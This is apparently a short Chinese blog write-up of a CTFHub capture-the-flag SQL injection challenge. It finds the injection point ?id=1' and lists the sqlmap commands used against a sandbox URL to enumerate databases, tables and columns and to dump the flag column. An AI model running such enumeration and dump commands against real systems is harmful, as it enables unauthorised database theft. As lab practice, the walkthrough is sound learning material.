对于sql注入类型的题，首先判断注入点
尝试发现注入点为?id=1'
发现联合注入无法回显，尝试使用sqlmap
先进行扫描
sqlmap -u "http://challenge-1559e706c24187fa.sandbox.ctfhub.com:10800/?id=1'"
查询 dbs
sqlmap -u "http://challenge-1559e706c24187fa.sandbox.ctfhub.com:10800/?id=1'" -dbs
查询note表
sqlmap -u "http://challenge-1559e706c24187fa.sandbox.ctfhub.com:10800/?id=1'" -D note -tables
查询fl4g
sqlmap -u "http://challenge-1559e706c24187fa.sandbox.ctfhub.com:10800/?id=1'" -D note -T fl4g -columns
查询fllllg
sqlmap -u "http://challenge-1559e706c24187fa.sandbox.ctfhub.com:10800/?id=1'" -D note -T fl4g -C fllllag -dump
得出flag
标签：sqlmap,http,CTFHUB,com,SQL,1559e706c24187fa,10800,id,注入 From： https://blog.csdn.net/2301_79858466/article/details/140686720